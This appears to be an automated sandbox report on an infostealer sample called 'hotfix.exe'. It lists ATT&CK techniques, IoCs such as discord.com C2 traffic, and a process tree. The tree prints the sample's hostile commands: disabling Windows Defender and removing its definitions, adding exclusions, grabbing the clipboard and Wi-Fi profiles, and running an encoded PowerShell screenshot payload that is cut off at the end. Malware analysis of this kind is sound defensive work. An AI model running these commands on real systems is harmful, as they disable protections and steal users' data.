f5627b2e36bff1bf291a4bee7481dbf96b9f43c709e7d95ad42c58af36860b6e

Analysis

max time kernel
92s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
04-01-2025 13:37

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

hotfix.exe
Size

7.4MB
MD5

a2271e54b0c19f1efdba770dccee0128
SHA1

6b3ff7d411df91cfc0f4a356eae6c1f407b2b8dd
SHA256

f5627b2e36bff1bf291a4bee7481dbf96b9f43c709e7d95ad42c58af36860b6e
SHA512

04840f8cabbadd75ebea0ae0e948551985f335c552cfdc78c8c81e8ecab690df76641414e53b4c05702e067cbf21985fddc04b4e63ec858c887bc8ccd52891ff
SSDEEP

196608:MITurErvI9pWjgyvoaYrE41JIuIwoOdhe:hTurEUWjdo/H1JzoChe

Score

8^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4500	powershell.exe
3936	powershell.exe
2012	powershell.exe
3824	powershell.exe
2296	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	hotfix.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
3044	cmd.exe
3964	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4544	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
1624	hotfix.exe
1624	hotfix.exe
1624	hotfix.exe
1624	hotfix.exe
1624	hotfix.exe
1624	hotfix.exe
1624	hotfix.exe
1624	hotfix.exe
1624	hotfix.exe
1624	hotfix.exe
1624	hotfix.exe
1624	hotfix.exe
1624	hotfix.exe
1624	hotfix.exe
1624	hotfix.exe
1624	hotfix.exe
1624	hotfix.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
26	discord.com
27	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ip-api.com
24	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 5 IoCs

discovery

Process Discovery

T1057

pid	Process
4104	tasklist.exe
3524	tasklist.exe
4340	tasklist.exe
4304	tasklist.exe
2652	tasklist.exe

UPX packed file 60 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000a000000023b45-21.dat	upx
behavioral2/memory/1624-25-0x00007FFE4D2B0000-0x00007FFE4D8A0000-memory.dmp	upx
behavioral2/files/0x000a000000023b38-27.dat	upx
behavioral2/memory/1624-29-0x00007FFE63F80000-0x00007FFE63FA4000-memory.dmp	upx
behavioral2/files/0x000a000000023b43-30.dat	upx
behavioral2/memory/1624-32-0x00007FFE63320000-0x00007FFE6332F000-memory.dmp	upx
behavioral2/files/0x000a000000023b42-34.dat	upx
behavioral2/files/0x000a000000023b49-39.dat	upx
behavioral2/files/0x000a000000023b37-41.dat	upx
behavioral2/files/0x000a000000023b3f-48.dat	upx
behavioral2/files/0x000a000000023b3e-47.dat	upx
behavioral2/files/0x000a000000023b3d-46.dat	upx
behavioral2/files/0x000a000000023b3c-45.dat	upx
behavioral2/files/0x000a000000023b3b-44.dat	upx
behavioral2/files/0x000a000000023b3a-43.dat	upx
behavioral2/files/0x000a000000023b39-42.dat	upx
behavioral2/files/0x000a000000023b4a-40.dat	upx
behavioral2/files/0x000a000000023b48-38.dat	upx
behavioral2/files/0x000a000000023b44-35.dat	upx
behavioral2/memory/1624-54-0x00007FFE5C870000-0x00007FFE5C89D000-memory.dmp	upx
behavioral2/memory/1624-56-0x00007FFE5C210000-0x00007FFE5C229000-memory.dmp	upx
behavioral2/memory/1624-58-0x00007FFE5C1E0000-0x00007FFE5C203000-memory.dmp	upx
behavioral2/memory/1624-60-0x00007FFE58DF0000-0x00007FFE58F66000-memory.dmp	upx
behavioral2/memory/1624-64-0x00007FFE613C0000-0x00007FFE613CD000-memory.dmp	upx
behavioral2/memory/1624-63-0x00007FFE5C1C0000-0x00007FFE5C1D9000-memory.dmp	upx
behavioral2/memory/1624-69-0x00007FFE59010000-0x00007FFE590DD000-memory.dmp	upx
behavioral2/memory/1624-68-0x00007FFE5BF90000-0x00007FFE5BFC3000-memory.dmp	upx
behavioral2/memory/1624-67-0x00007FFE4D2B0000-0x00007FFE4D8A0000-memory.dmp	upx
behavioral2/memory/1624-72-0x00007FFE63F80000-0x00007FFE63FA4000-memory.dmp	upx
behavioral2/memory/1624-73-0x00007FFE4CA50000-0x00007FFE4CF79000-memory.dmp	upx
behavioral2/memory/1624-75-0x00007FFE63320000-0x00007FFE6332F000-memory.dmp	upx
behavioral2/memory/1624-78-0x00007FFE63300000-0x00007FFE63314000-memory.dmp	upx
behavioral2/memory/1624-80-0x00007FFE5CC50000-0x00007FFE5CC5D000-memory.dmp	upx
behavioral2/memory/1624-77-0x00007FFE5C870000-0x00007FFE5C89D000-memory.dmp	upx
behavioral2/memory/1624-82-0x00007FFE5C1E0000-0x00007FFE5C203000-memory.dmp	upx
behavioral2/memory/1624-83-0x00007FFE5C300000-0x00007FFE5C41C000-memory.dmp	upx
behavioral2/memory/1624-109-0x00007FFE58DF0000-0x00007FFE58F66000-memory.dmp	upx
behavioral2/memory/1624-110-0x00007FFE5C1C0000-0x00007FFE5C1D9000-memory.dmp	upx
behavioral2/memory/1624-166-0x00007FFE613C0000-0x00007FFE613CD000-memory.dmp	upx
behavioral2/memory/1624-246-0x00007FFE5BF90000-0x00007FFE5BFC3000-memory.dmp	upx
behavioral2/memory/1624-269-0x00007FFE59010000-0x00007FFE590DD000-memory.dmp	upx
behavioral2/memory/1624-271-0x00007FFE4CA50000-0x00007FFE4CF79000-memory.dmp	upx
behavioral2/memory/1624-294-0x00007FFE58DF0000-0x00007FFE58F66000-memory.dmp	upx
behavioral2/memory/1624-288-0x00007FFE4D2B0000-0x00007FFE4D8A0000-memory.dmp	upx
behavioral2/memory/1624-289-0x00007FFE63F80000-0x00007FFE63FA4000-memory.dmp	upx
behavioral2/memory/1624-323-0x00007FFE4D2B0000-0x00007FFE4D8A0000-memory.dmp	upx
behavioral2/memory/1624-347-0x00007FFE5BF90000-0x00007FFE5BFC3000-memory.dmp	upx
behavioral2/memory/1624-351-0x00007FFE5C300000-0x00007FFE5C41C000-memory.dmp	upx
behavioral2/memory/1624-350-0x00007FFE5CC50000-0x00007FFE5CC5D000-memory.dmp	upx
behavioral2/memory/1624-349-0x00007FFE63300000-0x00007FFE63314000-memory.dmp	upx
behavioral2/memory/1624-348-0x00007FFE4CA50000-0x00007FFE4CF79000-memory.dmp	upx
behavioral2/memory/1624-346-0x00007FFE59010000-0x00007FFE590DD000-memory.dmp	upx
behavioral2/memory/1624-345-0x00007FFE5C1C0000-0x00007FFE5C1D9000-memory.dmp	upx
behavioral2/memory/1624-344-0x00007FFE58DF0000-0x00007FFE58F66000-memory.dmp	upx
behavioral2/memory/1624-343-0x00007FFE5C1E0000-0x00007FFE5C203000-memory.dmp	upx
behavioral2/memory/1624-342-0x00007FFE5C210000-0x00007FFE5C229000-memory.dmp	upx
behavioral2/memory/1624-341-0x00007FFE5C870000-0x00007FFE5C89D000-memory.dmp	upx
behavioral2/memory/1624-340-0x00007FFE63320000-0x00007FFE6332F000-memory.dmp	upx
behavioral2/memory/1624-339-0x00007FFE63F80000-0x00007FFE63FA4000-memory.dmp	upx
behavioral2/memory/1624-338-0x00007FFE613C0000-0x00007FFE613CD000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
1268	cmd.exe
3152	netsh.exe

Detects videocard installed 1 TTPs 3 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2308	WMIC.exe
420	WMIC.exe
3388	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2016	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
4500	powershell.exe
2012	powershell.exe
2012	powershell.exe
4500	powershell.exe
3936	powershell.exe
3936	powershell.exe
3964	powershell.exe
3964	powershell.exe
1620	powershell.exe
1620	powershell.exe
3964	powershell.exe
1620	powershell.exe
3824	powershell.exe
3824	powershell.exe
540	powershell.exe
540	powershell.exe
2296	powershell.exe
2296	powershell.exe
1860	powershell.exe
1860	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4104	tasklist.exe
Token: SeIncreaseQuotaPrivilege	2120	WMIC.exe
Token: SeSecurityPrivilege	2120	WMIC.exe
Token: SeTakeOwnershipPrivilege	2120	WMIC.exe
Token: SeLoadDriverPrivilege	2120	WMIC.exe
Token: SeSystemProfilePrivilege	2120	WMIC.exe
Token: SeSystemtimePrivilege	2120	WMIC.exe
Token: SeProfSingleProcessPrivilege	2120	WMIC.exe
Token: SeIncBasePriorityPrivilege	2120	WMIC.exe
Token: SeCreatePagefilePrivilege	2120	WMIC.exe
Token: SeBackupPrivilege	2120	WMIC.exe
Token: SeRestorePrivilege	2120	WMIC.exe
Token: SeShutdownPrivilege	2120	WMIC.exe
Token: SeDebugPrivilege	2120	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2120	WMIC.exe
Token: SeRemoteShutdownPrivilege	2120	WMIC.exe
Token: SeUndockPrivilege	2120	WMIC.exe
Token: SeManageVolumePrivilege	2120	WMIC.exe
Token: 33	2120	WMIC.exe
Token: 34	2120	WMIC.exe
Token: 35	2120	WMIC.exe
Token: 36	2120	WMIC.exe
Token: SeDebugPrivilege	2012	powershell.exe
Token: SeDebugPrivilege	4500	powershell.exe
Token: SeIncreaseQuotaPrivilege	2120	WMIC.exe
Token: SeSecurityPrivilege	2120	WMIC.exe
Token: SeTakeOwnershipPrivilege	2120	WMIC.exe
Token: SeLoadDriverPrivilege	2120	WMIC.exe
Token: SeSystemProfilePrivilege	2120	WMIC.exe
Token: SeSystemtimePrivilege	2120	WMIC.exe
Token: SeProfSingleProcessPrivilege	2120	WMIC.exe
Token: SeIncBasePriorityPrivilege	2120	WMIC.exe
Token: SeCreatePagefilePrivilege	2120	WMIC.exe
Token: SeBackupPrivilege	2120	WMIC.exe
Token: SeRestorePrivilege	2120	WMIC.exe
Token: SeShutdownPrivilege	2120	WMIC.exe
Token: SeDebugPrivilege	2120	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2120	WMIC.exe
Token: SeRemoteShutdownPrivilege	2120	WMIC.exe
Token: SeUndockPrivilege	2120	WMIC.exe
Token: SeManageVolumePrivilege	2120	WMIC.exe
Token: 33	2120	WMIC.exe
Token: 34	2120	WMIC.exe
Token: 35	2120	WMIC.exe
Token: 36	2120	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2308	WMIC.exe
Token: SeSecurityPrivilege	2308	WMIC.exe
Token: SeTakeOwnershipPrivilege	2308	WMIC.exe
Token: SeLoadDriverPrivilege	2308	WMIC.exe
Token: SeSystemProfilePrivilege	2308	WMIC.exe
Token: SeSystemtimePrivilege	2308	WMIC.exe
Token: SeProfSingleProcessPrivilege	2308	WMIC.exe
Token: SeIncBasePriorityPrivilege	2308	WMIC.exe
Token: SeCreatePagefilePrivilege	2308	WMIC.exe
Token: SeBackupPrivilege	2308	WMIC.exe
Token: SeRestorePrivilege	2308	WMIC.exe
Token: SeShutdownPrivilege	2308	WMIC.exe
Token: SeDebugPrivilege	2308	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2308	WMIC.exe
Token: SeRemoteShutdownPrivilege	2308	WMIC.exe
Token: SeUndockPrivilege	2308	WMIC.exe
Token: SeManageVolumePrivilege	2308	WMIC.exe
Token: 33	2308	WMIC.exe
Token: 34	2308	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 772 wrote to memory of 1624	772	hotfix.exe	81
PID 772 wrote to memory of 1624	772	hotfix.exe	81
PID 1624 wrote to memory of 4808	1624	hotfix.exe	82
PID 1624 wrote to memory of 4808	1624	hotfix.exe	82
PID 1624 wrote to memory of 3080	1624	hotfix.exe	83
PID 1624 wrote to memory of 3080	1624	hotfix.exe	83
PID 1624 wrote to memory of 3128	1624	hotfix.exe	84
PID 1624 wrote to memory of 3128	1624	hotfix.exe	84
PID 1624 wrote to memory of 2700	1624	hotfix.exe	87
PID 1624 wrote to memory of 2700	1624	hotfix.exe	87
PID 1624 wrote to memory of 1276	1624	hotfix.exe	90
PID 1624 wrote to memory of 1276	1624	hotfix.exe	90
PID 2700 wrote to memory of 4104	2700	cmd.exe	92
PID 2700 wrote to memory of 4104	2700	cmd.exe	92
PID 3128 wrote to memory of 4004	3128	cmd.exe	93
PID 3128 wrote to memory of 4004	3128	cmd.exe	93
PID 3080 wrote to memory of 2012	3080	cmd.exe	94
PID 3080 wrote to memory of 2012	3080	cmd.exe	94
PID 1276 wrote to memory of 2120	1276	cmd.exe	96
PID 1276 wrote to memory of 2120	1276	cmd.exe	96
PID 4808 wrote to memory of 4500	4808	cmd.exe	97
PID 4808 wrote to memory of 4500	4808	cmd.exe	97
PID 1624 wrote to memory of 4996	1624	hotfix.exe	98
PID 1624 wrote to memory of 4996	1624	hotfix.exe	98
PID 4996 wrote to memory of 1292	4996	cmd.exe	100
PID 4996 wrote to memory of 1292	4996	cmd.exe	100
PID 1624 wrote to memory of 4116	1624	hotfix.exe	101
PID 1624 wrote to memory of 4116	1624	hotfix.exe	101
PID 4116 wrote to memory of 4632	4116	cmd.exe	103
PID 4116 wrote to memory of 4632	4116	cmd.exe	103
PID 1624 wrote to memory of 4528	1624	hotfix.exe	104
PID 1624 wrote to memory of 4528	1624	hotfix.exe	104
PID 4528 wrote to memory of 2308	4528	cmd.exe	106
PID 4528 wrote to memory of 2308	4528	cmd.exe	106
PID 1624 wrote to memory of 4268	1624	hotfix.exe	107
PID 1624 wrote to memory of 4268	1624	hotfix.exe	107
PID 4268 wrote to memory of 420	4268	cmd.exe	109
PID 4268 wrote to memory of 420	4268	cmd.exe	109
PID 1624 wrote to memory of 1772	1624	hotfix.exe	110
PID 1624 wrote to memory of 1772	1624	hotfix.exe	110
PID 1772 wrote to memory of 3936	1772	cmd.exe	112
PID 1772 wrote to memory of 3936	1772	cmd.exe	112
PID 1624 wrote to memory of 2908	1624	hotfix.exe	113
PID 1624 wrote to memory of 2908	1624	hotfix.exe	113
PID 1624 wrote to memory of 2296	1624	hotfix.exe	114
PID 1624 wrote to memory of 2296	1624	hotfix.exe	114
PID 2296 wrote to memory of 3524	2296	cmd.exe	117
PID 2296 wrote to memory of 3524	2296	cmd.exe	117
PID 2908 wrote to memory of 4340	2908	cmd.exe	118
PID 2908 wrote to memory of 4340	2908	cmd.exe	118
PID 1624 wrote to memory of 380	1624	hotfix.exe	119
PID 1624 wrote to memory of 380	1624	hotfix.exe	119
PID 1624 wrote to memory of 3044	1624	hotfix.exe	120
PID 1624 wrote to memory of 3044	1624	hotfix.exe	120
PID 1624 wrote to memory of 4936	1624	hotfix.exe	123
PID 1624 wrote to memory of 4936	1624	hotfix.exe	123
PID 1624 wrote to memory of 3656	1624	hotfix.exe	124
PID 1624 wrote to memory of 3656	1624	hotfix.exe	124
PID 1624 wrote to memory of 1268	1624	hotfix.exe	127
PID 1624 wrote to memory of 1268	1624	hotfix.exe	127
PID 1624 wrote to memory of 1728	1624	hotfix.exe	128
PID 1624 wrote to memory of 1728	1624	hotfix.exe	128
PID 1624 wrote to memory of 4944	1624	hotfix.exe	129
PID 1624 wrote to memory of 4944	1624	hotfix.exe	129

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2892	attrib.exe
2956	attrib.exe

C:\Users\Admin\AppData\Local\Temp\hotfix.exe
"C:\Users\Admin\AppData\Local\Temp\hotfix.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:772
- C:\Users\Admin\AppData\Local\Temp\hotfix.exe
  "C:\Users\Admin\AppData\Local\Temp\hotfix.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\hotfix.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4808
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\hotfix.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3080
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Open your game first', 0, 'error', 48+16);close()""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3128
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Open your game first', 0, 'error', 48+16);close()"
      4⤵
      PID:4004
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2700
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1276
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2120
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4996
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
      4⤵
      PID:1292
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4116
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
      4⤵
      PID:4632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4528
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious use of AdjustPrivilegeToken
      PID:2308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4268
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏‌‌.scr'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1772
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‏‌‌.scr'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2908
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:4340
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2296
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:3524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    PID:380
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      PID:944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    PID:3044
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:3964
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:4936
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:4304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:3656
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:1268
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:3152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    PID:1728
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:2016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    PID:4944
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:4368
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCA